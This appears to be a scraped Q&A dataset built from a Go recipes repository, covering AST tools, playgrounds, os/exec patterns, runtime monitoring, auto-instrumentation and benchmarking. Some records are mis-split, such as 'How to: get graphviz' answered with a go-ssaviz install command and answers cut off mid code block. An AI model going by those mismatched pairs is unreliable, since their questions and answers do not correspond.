{"id": "gh_80426a261db7", "question": "How to: [⏫](#contents) Generate AST for code snippets with `go/ast`", "question_body": "About nikolaydubina/go-recipes", "answer": "Access Go core AST mechanism to generate AST.\n\n```go\npackage main\n\nimport (\n  \"go/ast\"\n  \"go/parser\"\n  \"go/token\"\n)\n\nfunc main() {\n  fs := token.NewFileSet()\n  tr, _ := parser.ParseExpr(\"(3-1) * 5\")\n  ast.Print(fs, tr)\n}\n```\n\nExample\n```\n0  *ast.BinaryExpr {\n1  .  X: *ast.ParenExpr {\n2  .  .  Lparen: -\n3  .  .  X: *ast.BinaryExpr {\n4  .  .  .  X: *ast.BasicLit {\n5  .  .  .  .  ValuePos: -\n6  .  .  .  .  Kind: INT\n7  .  .  .  .  Value: \"3\"\n8  .  .  .  }\n9  .  .  .  OpPos: -\n10  .  .  .  Op: -\n11  .  .  .  Y: *ast.BasicLit {\n12  .  .  .  .  ValuePos: -\n13  .  .  .  .  Kind: INT\n14  .  .  .  .  Value: \"1\"\n15  .  .  .  }\n16  .  .  }\n17  .  .  Rparen: -\n18  .  }\n19  .  OpPos: -\n20  .  Op: *\n21  .  Y: *ast.BasicLit {\n22  .  .  ValuePos: -\n23  .  .  Kind: INT\n24  .  .  Value: \"5\"\n25  .  }\n26  }\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953162"}
{"id": "gh_43b5853e4f95", "question": "How to: [⏫](#contents) Generate AST for code snippets with [go2ast](https://github.com/reflog/go2ast)", "question_body": "About nikolaydubina/go-recipes", "answer": "This is a wrapper around `go/ast` machinery that makes generating `AST` easier. — [@reflog](https://github.com/reflog)\n\n```\necho \"a := 1\" | go2ast\n```\n\nExample\n```\n[]ast.Stmt {\n  &ast.AssignStmt {\n    Lhs: []ast.Expr {\n      &ast.Ident {\n        Name: \"a\",\n      },\n    },\n    Tok: :=,\n    Rhs: []ast.Expr {\n      &ast.BasicLit {\n        ValuePos: 32,\n        Kind: INT,\n        Value: \"1\",\n      },\n    },\n  },\n}\n```\n\nRequirements\n```\ngo install github.com/reflog/go2ast@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953171"}
{"id": "gh_f81e18bfa47b", "question": "How to: [⏫](#contents) Visualize Go SSA function using Graphviz with [go-ssaviz](https://github.com/SilverRainZ/go-ssaviz)", "question_body": "About nikolaydubina/go-recipes", "answer": "This tool provides a visual overview of Go SSA function using Graphviz. This is especially useful in SSA-based static analysis. This tool generates an HTML page that is easy to navigate. [demo](https://silverrainz.me/go-ssaviz/). — [@SilverRainZ](https://github.com/SilverRainZ)\n\n```\ngo-ssaviz ./...\n```\nRequirements\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953177"}
{"id": "gh_5cae3b4e0782", "question": "How to: get graphviz", "question_body": "About nikolaydubina/go-recipes", "answer": "go install github.com/SilverRainZ/go-ssaviz@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953181"}
{"id": "gh_53ffdce3ceb4", "question": "How to: [⏫](#contents) Make graph of AST with [astgraph](https://github.com/xiazemin/ast_graph)", "question_body": "About nikolaydubina/go-recipes", "answer": "This tool visualizes AST as graph, which may be useful to navigate and understand Go AST. This tool has not been maintained for a while. — [@xiazemin](https://github.com/xiazemin)\nRequirements\n```\ngraphviz\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953186"}
{"id": "gh_35768b3707c3", "question": "How to: [⏫](#contents) Convert C assembly to Go assembly with [c2goasm](https://github.com/minio/c2goasm)", "question_body": "About nikolaydubina/go-recipes", "answer": "This tool can convert C assembly `.s` into Go assbmely `.s` files. This is useful for reusing compiler optimizations such as SIMD or loop unrolling in C, which can lead to 10x speedups. However, project has been archived 4+ years ago. — [@fwessels](https://github.com/fwessels)\n\n```\ngcc -O3 -march=native -S -o c_code.s c_code.c\nc2goasm -a c_code.s go_c_code.s\ngo build -o go_c_code.o -gcflags=\"-S\" go_c_code.s\n```\n\nRequirements\n```\ngo install github.com/minio/c2goasm@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953192"}
{"id": "gh_02c19f4d3783", "question": "How to: [⏫](#contents) :gift: Automatically set memory and cpu limits in K8S", "question_body": "About nikolaydubina/go-recipes", "answer": "Go can automatically detect container environment cpu and memory limits. This ensures better utilization. Starting Go 1.25 `GOMAXPROCS` is K8S aware and sets it from `limits.cpu` automatically.\n\n```yaml\n- name: GOMEMLIMIT\n  valueFrom:\n    resourceFieldRef:\n      resource: limits.memory\n```\n\nRequirements\n```\ngo 1.25+\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953198"}
{"id": "gh_c00e1feb3310", "question": "How to: [⏫](#contents) Embed Go Playground to your blog with [codapi](https://github.com/nalgeon/codapi)", "question_body": "About nikolaydubina/go-recipes", "answer": "Codapi is a platform for embedding interactive code snippets directly into your product documentation, online course or blog post. [example](https://antonz.org/go-1-22/). — [@nalgeon](https://github.com/nalgeon)\n\n```\n'''go\npackage main\n\nimport \"fmt\"\n\nfunc main() {\n    fmt.Println(\"Hello, World!\")\n}\n'''\n```\nRequirements\n```\ndeploy sandbox\nembed javascript in your blog\nmarkdown go code blocks will turn into runnable snippets\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953205"}
{"id": "gh_28533cd85261", "question": "How to: [⏫](#contents) Embed Go Playground to your blog with [goplay](https://github.com/ggicci/goplay)", "question_body": "About nikolaydubina/go-recipes", "answer": "Embed interactive Go Playground component into your blog. [Hugo](https://gohugo.io), [Docusaurus](https://docusaurus.io), [Ghost](https://ghost.org) are supported. There is also another tool [soksan](https://github.com/bbalet/soksan), however it is discontinued. Live [demo](https://ggicci.me/goplay-embed-go-playground-on-your-website/) with guideline. Other resources — GitLab considering to add it in [issue](https://gitlab.com/gitlab-org/gitlab/-/issues/212769); alternative implementation [guideline](https://hrishikeshpathak.com/blog/golang-code-playground/). — [@ggicci](https://github.com/ggicci)\n\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953211"}
{"id": "gh_a7266a49ea3c", "question": "How to: Sample Code", "question_body": "About nikolaydubina/go-recipes", "answer": "{{% goplay %}}\n'''go\npackage main\n\nfunc main() {\n  println(\"hello world\")\n}\n'''\n{{% /goplay %}}\n```\n\nRequirements\n```\nreverse proxy server to https://play.golang.org\nbloging platform with support for embedding javascript\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953216"}
{"id": "gh_e3c3481f1161", "question": "How to: [⏫](#contents) Run alternative Go Playground with [goplay.tools](https://github.com/x1unix/go-playground)", "question_body": "About nikolaydubina/go-recipes", "answer": "Improved Go Playground featuring dark theme, code autocomplete, vim mode, WebAssembly. Available at [https://goplay.tools/](https://goplay.tools/). — [@x1unix](https://github.com/x1unix)", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 4447, "answer_score": 10, "has_code": false, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953221"}
{"id": "gh_a9fb4dc5093f", "question": "How to: [⏫](#contents) Use TinyGo Playground with [tinygo](https://play.tinygo.org)", "question_body": "About nikolaydubina/go-recipes", "answer": "TinyGo is an alternative Go compiler that focuses on embedded devices, and WASM. There are some Go constructs and packages that not supported. In this online playground you can verify your code.", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 4447, "answer_score": 10, "has_code": false, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953226"}
{"id": "gh_a50410b688e2", "question": "How to: [⏫](#contents) Run interactive Go kernels in Jupyter Notebook with [gophernotes](https://github.com/gopherdata/gophernotes)", "question_body": "About nikolaydubina/go-recipes", "answer": "Run interactive Go interpreter in Jupyter Notebook browser. As of `2023-06-04`, it is using `gomacro` interpreter and can have issues with loading 3rd party packages. — [@gopherdata](https://github.com/gopherdata)\nRequirements\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953233"}
{"id": "gh_3bfadc77dabb", "question": "How to: jupyter notebook", "question_body": "About nikolaydubina/go-recipes", "answer": "go install github.com/gopherdata/gophernotes@v0.7.5", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 4447, "answer_score": 10, "has_code": false, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953237"}
{"id": "gh_687286dc556c", "question": "How to: [⏫](#contents) Run interactive Go interpreter with [yaegi](https://github.com/traefik/yaegi)", "question_body": "About nikolaydubina/go-recipes", "answer": "This interpreter works with 3rd party packages located in `$GOPATH/src`. It can also be triggered within Go programmatically via `Eval()`. Works everywhere Go works. — [@traefik](https://github.com/traefik)\n\n```\nyaegi\n```\n\nExample\n```\n$ yaegi\n> import \"github.com/nikolaydubina/fpdecimal\"\n: 0x140000faaf0\n> a, _ := fpdecimal.FromString(\"10.12\") \n: {0}\n> b, _ := fpdecimal.FromString(\"5.38\")\n: {0}\n> c := a.Add(b)   \n: {15500}\n> c.String()\n: 15.500\n>\n```\n\nRequirements\n```\ngo install github.com/traefik/yaegi@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.98, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953245"}
{"id": "gh_947c6aac5e26", "question": "How to: [⏫](#contents) Run interactive Go interpreter with [gomacro](https://github.com/cosmos72/gomacro)", "question_body": "About nikolaydubina/go-recipes", "answer": "This is interactive Go interpreter and debugger with REPL, Eval, generics and Lisp-like macros. You can run functions, import 3rd patry packages. Can be useful for learning and experimentation. Some nice features: autocomplete; constant expressions arithmetics. As of `2023-06-02`, issues with importing 3rd paty package are possible. — [@cosmos72](https://github.com/cosmos72)\n\n```\ngomacro\n```\n\nExample\n```\n$ gomacro\ngomacro> import \"fmt\"\ngomacro> fmt.Println(\"hello, world!\")\nhello, world!\n14      // int\n// error\ngomacro>\n```\n\nRequirements\n```\ngo install github.com/cosmos72/gomacro@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953252"}
{"id": "gh_9507e11c4c7b", "question": "How to: [⏫](#contents) Run Go function in shell with [gorram](https://github.com/natefinch/gorram)", "question_body": "About nikolaydubina/go-recipes", "answer": "Run Go one-liners. This tool will print to STDOUT the return of a function call. — [@natefinch](https://github.com/natefinch)\n\n```\ncat README.md | gorram crypto/sha1 Sum\necho 12345 | gorram encoding/base64 StdEncoding.EncodeToString\ngorram net/http Get https://google.com\n```\n\nRequirements\n```\ngo install github.com/natefinch/gorram@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953258"}
{"id": "gh_5c14a416ec68", "question": "How to: [⏫](#contents) Run simple fileserver with `net/http`", "question_body": "About nikolaydubina/go-recipes", "answer": "It takes one line to run HTTP file server in Go. Akin to famous oneliner in Python `python3 -m http.server` and `python -m SimpleHTTPServer`. Run this file as usually `go run\n`.\n\n```go\npackage main\n\nimport \"net/http\"\n\nfunc main() { http.ListenAndServe(\":9000\", http.FileServer(http.Dir(\".\"))) }\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953270"}
{"id": "gh_3790ee81cce8", "question": "How to: [⏫](#contents) Create 3D visualization of concurrency traces with [gotrace](https://github.com/divan/gotrace)", "question_body": "About nikolaydubina/go-recipes", "answer": "Fresh artistic perspective on coroutines execution. There is no advanced functions and it is hard to analyze production systems. However, it could be interesting for educational purposes. — [@divan](https://github.com/divan)\nRequirements\n```\ngo install github.com/divan/gotrace@latest\npatch Go compiler, available via Docker\nmore instructions in original repo\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953276"}
{"id": "gh_53853d6a9bb4", "question": "How to: [⏫](#contents) Wrap command with `os/exec`", "question_body": "About nikolaydubina/go-recipes", "answer": "Originally posted in [blog](https://www.dolthub.com/blog/2022-11-28-go-os-exec-patterns/).\n\n```go\ncmd := exec.Command(\"ls\", \"/usr/local/bin\")\ncmd.Stdout = os.Stdout\ncmd.Stderr = os.Stderr\nreturn cmd.Run()\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953282"}
{"id": "gh_24cf99b6b22a", "question": "How to: [⏫](#contents) Capture output of command to file with `os/exec`", "question_body": "About nikolaydubina/go-recipes", "answer": "Originally posted in [blog](https://www.dolthub.com/blog/2022-11-28-go-os-exec-patterns/). — Aaron Son\n\n```go\nlog, err := os.Create(\"output.log\")\nif err != nil {\n  return err\n}\ndefer log.Close()\ncmd := exec.Command(\"ls\", \"/usr/local/bin\")\ncmd.Stdout = log\ncmd.Stderr = log\nreturn cmd.Run()\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953288"}
{"id": "gh_9e4702e67f10", "question": "How to: [⏫](#contents) Piping between processes with `os/exec`", "question_body": "About nikolaydubina/go-recipes", "answer": "`ls /usr/local/bin | grep pip`. Originally posted in [blog](https://www.dolthub.com/blog/2022-11-28-go-os-exec-patterns/). — Aaron Son\n\n```go\nr, w, err := os.Pipe()\nif err != nil {\n  return err\n}\ndefer r.Close()\n\nls := exec.Command(\"ls\", \"/usr/local/bin\")\nls.Stdout = w\nerr = ls.Start()\nif err != nil {\n  return err\n}\ndefer ls.Wait()\nw.Close()\n\ngrep := exec.Command(\"grep\", \"pip\")\ngrep.Stdin = r\ngrep.Stdout = os.Stdout\nreturn grep.Run()\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953302"}
{"id": "gh_d52614182aab", "question": "How to: [⏫](#contents) `errgroup` and CommandContext with `os/exec`", "question_body": "About nikolaydubina/go-recipes", "answer": "Originally posted in [blog](https://www.dolthub.com/blog/2022-11-28-go-os-exec-patterns/). — Aaron Son\n\n```go\neg, ctx := errgroup.WithContext(context.Background())\nsleeps := make([]*exec.Cmd, 3)\nsleeps[0] = exec.CommandContext(ctx, \"sleep\", \"100\")\nsleeps[1] = exec.CommandContext(ctx, \"sleep\", \"100\")\nsleeps[2] = exec.CommandContext(ctx, \"sleep\", \"notanumber\")\nfor _, s := range sleeps {\n  s := s\n  eg.Do(func() error {\n    return s.Run()\n  })\n}\nreturn eg.Wait()\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953309"}
{"id": "gh_31063a14c4ea", "question": "How to: [⏫](#contents) Monitor Go Runtime metrics with [opentelemetry](https://pkg.go.dev/go.opentelemetry.io/contrib/instrumentation/runtime)", "question_body": "About nikolaydubina/go-recipes", "answer": "These are standard metrics for Go runtime exposed in OpenTelemetry format. Grafana [dashboard](https://github.com/nikolaydubina/grafana-otel-go-runtime). — Google, (dashboard by @nikolaydubina)\n\n```go\nimport \"go.opentelemetry.io/contrib/instrumentation/runtime\"\n...\nruntime.Start()\n```\nRequirements\n```\nopentelemetry collector\nmetrics backend (e.g. prometheus)\ndashboard (e.g. grafana)\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953315"}
{"id": "gh_284d1bfbc5de", "question": "How to: [⏫](#contents) Monitor goroutines with [grmon](https://github.com/bcicen/grmon)", "question_body": "About nikolaydubina/go-recipes", "answer": "Command line monitoring for goroutines. — [@bcicen](https://github.com/bcicen)\n\n```\ngrmon\n```\nRequirements\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953320"}
{"id": "gh_c817672a91c1", "question": "How to: [⏫](#contents) Monitor Go processes with [gops](https://github.com/google/gops)", "question_body": "About nikolaydubina/go-recipes", "answer": "Monitoring memory of Go processes, forcing GC, getting version of Go of processes. — Google\n\n```\ngops\n```\n\nExample\n```\n983   980    uplink-soecks  go1.9   /usr/local/bin/uplink-soecks\n52697 52695  gops           go1.10  /Users/jbd/bin/gops\n4132  4130   foops        * go1.9   /Users/jbd/bin/foops\n51130 51128  gocode         go1.9.2 /Users/jbd/bin/gocode\n```\n\nRequirements\n```\ngo install github.com/google/gops@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953327"}
{"id": "gh_fdc7eae3be72", "question": "How to: [⏫](#contents) Monitor Go runtime metrics in browser with [live-pprof](https://github.com/moderato-app/live-pprof)", "question_body": "About nikolaydubina/go-recipes", "answer": "This is minimal single binary tool that lets you monitor Go app performance. This can be an attractive alternative for local development to avoid operations overhead of full monitoring setup (e.g. Prometheus, Grafana). — [@clement2026](https://github.com/clement2026)\n\n```\nlive-pprof 6060\n```\nRequirements\n```\ngo install github.com/moderato-app/live-pprof@v1\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953333"}
{"id": "gh_bf1abef4254d", "question": "How to: [⏫](#contents) Monitor Go runtime metrics in browser with [statsviz](https://github.com/arl/statsviz)", "question_body": "About nikolaydubina/go-recipes", "answer": "This tool exposes HTTP endpoint with charts for Go runtime such as heap, objects, goroutines, GC pauses, scheduler. This is useful drop-in solution for visualization of Go runtime. — [@arl](https://github.com/arl)\nRequirements\n```\ngo get github.com/arl/statsviz@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953339"}
{"id": "gh_2bddbda995a6", "question": "How to: [⏫](#contents) Auto-Instrument all functions with [go-instrument](https://github.com/nikolaydubina/go-instrument)", "question_body": "About nikolaydubina/go-recipes", "answer": "Automatically instrument all functions with Open Telemetry Spans by code generation. Inserts errors into Spans. — [@nikolaydubina](https://github.com/nikolaydubina)\n\n```\nfind . -name \"*.go\" | xargs -I{} go-instrument -app my-service -w -filename {}\n```\nRequirements\n```\ngo install github.com/nikolaydubina/go-instrument@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953345"}
{"id": "gh_6d490accdfde", "question": "How to: [⏫](#contents) Auto-Instrument all functions with [otelinji](https://github.com/hedhyw/otelinji)", "question_body": "About nikolaydubina/go-recipes", "answer": "Automatically instrument all functions with Open Telemetry Spans by code generation. Inserts errors into Spans. Supports custom templates and can be used for Open Tracing or any custom insertions. — [@hedhyw](https://github.com/hedhyw)\n\n```\notelinji -w -filename input_file.go\notelinji -filename input_file.go > input_file.go\nfind . -name \"*.go\" | grep -v \"vendor/\\|.git/\\|_test.go\" | xargs -n 1 -t otelinji -w -filename\n```\nRequirements\n```\ngo install github.com/hedhyw/otelinji/cmd/otelinji@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953351"}
{"id": "gh_03c9f04d5364", "question": "How to: [⏫](#contents) Auto-Instrument functions for DataDog with [orchestrion](https://github.com/DataDog/orchestrion)", "question_body": "About nikolaydubina/go-recipes", "answer": "This is official Datadog tool for automatic instrumentation of code. It has very convenient compiler directives for instrumentation. — [@DataDog](https://github.com/DataDog)\n\n```\norchestrion -w ./\n```\n\n```go\n//dd:span my:tag\nfunc GetSomeData(ctx context.Context) ([]byte, error) {\n  ...\n```\n\nRequirements\n```\ngo install github.com/datadog/orchestrion@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953357"}
{"id": "gh_08139d4d68d3", "question": "How to: [⏫](#contents) Continuous Profiling with [Pyroscope](https://github.com/grafana/pyroscope)", "question_body": "About nikolaydubina/go-recipes", "answer": "This tool allows to ingest profiling data from your application. You would need to add integration in your main file that will sample in-process data and send it to Pyroscope. Here are useful resources [blog-go-memory-leaks](https://grafana.com/blog/2023/04/19/how-to-troubleshoot-memory-leaks-in-go-with-grafana-pyroscope/). — Grafana Labs", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": false, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953363"}
{"id": "gh_0df74dc7a014", "question": "How to: [⏫](#contents) Run benchmarks", "question_body": "About nikolaydubina/go-recipes", "answer": "Start here. This is the standard tool for benchmarking. It can also do advanced features like mutex profiles. More flags are in Go [documentation](https://pkg.go.dev/cmd/go#hdr-Testing_flags) and `go help testflag`.\n\n```\ngo test -bench=. -benchmem -benchtime=10s ./...\n```\n\nExample\n```\ngoos: darwin\ngoarch: arm64\npkg: github.com/nikolaydubina/fpmoney\nBenchmarkArithmetic/add_x1-10                     1000000000             0.5 ns/op           0 B/op           0 allocs/op\nBenchmarkArithmetic/add_x100-10                     18430124            64.6 ns/op           0 B/op           0 allocs/op\nBenchmarkJSONUnmarshal/small-10                      3531835           340.7 ns/op         198 B/op           3 allocs/op\nBenchmarkJSONUnmarshal/large-10                      2791712           426.9 ns/op         216 B/op           3 allocs/op\nBenchmarkJSONMarshal/small-10                        4379685           274.4 ns/op         144 B/op           4 allocs/op\nBenchmarkJSONMarshal/large-10                        3321205           345.8 ns/op         192 B/op           5 allocs/op\nPASS\nok      github.com/nikolaydubina/fpmoney    62.744s\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953375"}
{"id": "gh_29f82879a45d", "question": "How to: [⏫](#contents) Table-driven benchmarks", "question_body": "About nikolaydubina/go-recipes", "answer": "Similar to tests, Go supports table-driven benchmarks, which is very helpful for fine gradation of meta-parameters. More details in the Go [blog](https://go.dev/blog/subtests).\n\n```\nfunc benchIteratorSelector(b *testing.B, n int) {\n  // ... setup here\n  b.ResetTimer()\n  for n := 0; n < b.N; n++ {\n    err := myExpensiveFunc()\n    if err != nil {\n      b.Error(err)\n    }\n  }\n}\n\nfunc BenchmarkIteratorSelector(b *testing.B) {\n  for _, q := range []int{100, 1000, 10000, 100000} {\n    b.Run(fmt.Sprintf(\"n=%d\", q), func(b *testing.B) {\n      benchIteratorSelector(b, q)\n    })\n  }\n}\n```\n\nExample\n```\nBenchmarkIteratorSelector/n=100-10    \t  297792\t      4265 ns/op\t    5400 B/op\t      13 allocs/op\nBenchmarkIteratorSelector/n=1000-10   \t   31400\t     38182 ns/op\t    9752 B/op\t      16 allocs/op\nBenchmarkIteratorSelector/n=10000-10  \t    3134\t    380777 ns/op\t   89112 B/op\t      24 allocs/op\nBenchmarkIteratorSelector/n=100000-10 \t     310\t   3827292 ns/op\t  912410 B/op\t      32 allocs/op\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953383"}
{"id": "gh_d98dbb8898d8", "question": "How to: [⏫](#contents) Align benchmark output", "question_body": "About nikolaydubina/go-recipes", "answer": "Go aligns benchmarks names to longest seen so far. Create file with name that is lexicographically first and has noop benchmark like following.\n\n```go\nfunc BenchmarkNoop(b *testing.B) { b.Run(\"--------------------------------\", func(b *testing.B) {}) }\n```\n\nExample\n```\n$ go test -bench .\ngoos: darwin\ngoarch: arm64\npkg: github.com/nikolaydubina/go-hackers-delight\nBenchmarkNoop/---------------------------------16         \t1000000000\t         0.0000001 ns/op\nBenchmarkAbs/basic-16                                     \t1000000000\t         0.9826 ns/op\nBenchmarkAbs/Abs-16                                       \t1000000000\t         0.9647 ns/op\nBenchmarkAbs/Abs2-16                                      \t1000000000\t         0.9943 ns/op\nBenchmarkAbs/Abs3-16                                      \t1000000000\t         0.9819 ns/op\nBenchmarkAbs/Abs4-16                                      \t1000000000\t         1.003 ns/op\nBenchmarkAbs/AbsFastMul-16                                \t1000000000\t         0.9598 ns/op\nBenchmarkAvg/basic-16                                     \t973716225\t         2.045 ns/op\nBenchmarkAvg/AvgFloor-16                                  \t602586224\t         2.050 ns/op\nBenchmarkAvg/AvgCeil-16                                   \t582029594\t         2.054 ns/op\nBenchmarkCycleThree/basic-16                              \t767160418\t         1.560 ns/op\nBenchmarkCycleThree/CycleThreeValues-16                   \t438818894\t         2.729 ns/op\nBenchmarkLeadingZeros/uint32/basic-16                     \t1000000000\t         0.9419 ns/op\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953390"}
